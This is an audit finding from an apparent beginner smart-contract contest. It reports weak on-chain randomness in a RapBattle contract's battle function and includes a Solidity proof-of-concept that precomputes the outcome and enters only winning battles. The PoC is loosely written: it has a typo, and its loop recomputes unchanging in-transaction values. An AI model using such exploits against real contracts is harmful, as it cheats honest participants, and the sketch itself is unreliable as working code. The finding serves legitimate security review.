Beginner FriendlyFoundryNFT
100 EXP
View results
Submission Details
Severity: high
Valid

Bad randomness in `RapBattle::_battle`

Summary

Using block.number, block.prevrandao and msg.sender as a source of randomness is commonly advised against, as the outcome can be manipulated by calling contracts.

While prevrandao provides a form of randomness in Ethereum, its predictability and the potential for bias make it less suitable for applications requiring high levels of security and unpredictability.

Vulnerability Details

Proof Of Concept

The attack basically consists of repeatedly calculating random number with data that is known and output that is wished for until the results match and only then continuing to calling the contract.

An attack path for rerolling the result of bad randomness might look roughly like this:

// Function to predict the outcome and decide to attack or not
function attack() external {
require(msg.sender == owner, "Only the owner can initiate the attack.");
// assuming there is a defender present
uint256 defenderRapperSkill = rapBattleContract.getRapperSkill(defenderTokenId);
uint256 challengerRapperSkill = rapBattleContract.getRapperSkill(attackerTokenId);
uint256 totalBattleSkill = defenderRapperSkill + challengerRapperSkill;
while(true){
uint256 random = uint256(keccak256(abi.encodePacked(block.timestamp, block.prevrandao, msg.sender))) % totalBattleSkill;
if(random > dedefenderRapperSkill){
rapBattleContract.goOnStageOrBattle(attackerTokenId,_credBet);
break;
}
}
}

Impact

This undermines the fairness of the battle outcome, leading to potential losses for honest participants and questioning the integrity of the contract.

Tools Used

Manual Review

Recommendations

Consider using a decentralized oracle for the generation of random numbers, such as Chainlinks VRF.

Updates

Lead Judging Commences

inallhonesty Lead Judge over 1 year ago
Submission Judgement Published
Validated
Assigned finding tags:

Weak Randomness

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.